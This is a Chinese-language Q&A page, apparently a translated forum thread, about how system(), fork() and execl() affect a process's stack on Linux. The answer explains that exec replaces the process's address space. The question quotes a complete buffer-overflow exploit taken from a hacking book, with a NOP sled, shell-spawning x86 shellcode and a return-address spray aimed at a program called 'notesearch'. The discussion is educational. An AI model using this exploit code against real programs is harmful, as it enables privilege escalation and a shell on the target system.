其他分享
首页 > 其他分享> > 系统功能和堆栈

系统功能和堆栈

作者:互联网

我对Linux系统调用System()和堆栈有疑问.
让我们假设我们有:

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[]) {
   char buff[] = "/usr/bin/ls"
   system(buff);
   return 0;
}

现在,由于system()函数先生成fork(),然后再生成execl(),所以我的问题是:新进程的堆栈放置在靠近上述main()之一的位置,或者它可以放在记忆?
更笼统地说:在这个简单的示例中,main()堆栈发生了什么?

此外,如果main()是:

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[]) {
   char buff[] = "/usr/bin/ls"
   execl(buff, 0);
   return 0;
}

在这种情况下,由于未调用fork(),因此应定期将函数execl()的堆栈放置在main()之一的正上方,对吗?

编辑:
如果main和system()执行的进程之间的虚拟地址空间不同,为什么这样做应该起作用:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
  unsigned int i, *ptr, ret, offset=270;
  char *command, *buffer;
  command = (char *) malloc(200);
  bzero(command, 200); // Zero out the new memory.

  strcpy(command, "./notesearch \'"); // Start command buffer.
  buffer = command + strlen(command); // Set buffer at the end.

  if(argc > 1) // Set offset.
     offset = atoi(argv[1]);

  ret = (unsigned int) &i - offset; // Set return address.

  for(i=0; i < 160; i+=4) // Fill buffer with return address.
     *((unsigned int *)(buffer+i)) = ret;

  memset(buffer, 0x90, 60); // Build NOP sled.
  memcpy(buffer+60, shellcode, sizeof(shellcode)-1);

  strcat(command, "\'");

  system(command); // Run exploit.
  free(command);
}

我在正在阅读有关黑客的书中找到了它.这段代码只是对缓冲区溢出的一种利用.目的是运行带有临时参数的程序bof,该程序可以利用bof并运行shellcode.

使用局部变量的地址(在示例中为intgn int i)作为基数和偏移量来获得在新过程中注入的shellcode的地址.但这仅在两个进程的虚拟地址空间相同的情况下才有效吗?

解决方法:

使用exec时,将替换进程的所有内存.堆栈,堆所有内容.包含buff的原始堆栈不再存在.

系统调用由一个fork和一个exec组成.派生创建一个新流程,该流程是原始流程的副本.执行程序然后替换新进程的内存.

使用exec时,将创建一个新的进程地址空间.该地址空间由内核管理的各种可用内存块组成.这是一个新的虚拟地址空间.新进程的物理内存与旧进程的关系就是内核决定的.但是,由于新的地址空间是虚拟的,因此它与父进程的地址空间无关.即使您知道父进程中buff的地址并且可以将该地址传递给子进程,该地址对子进程也没有任何意义.

标签:buffer-overflow,stack,c-3,linux
来源: https://codeday.me/bug/20191030/1968212.html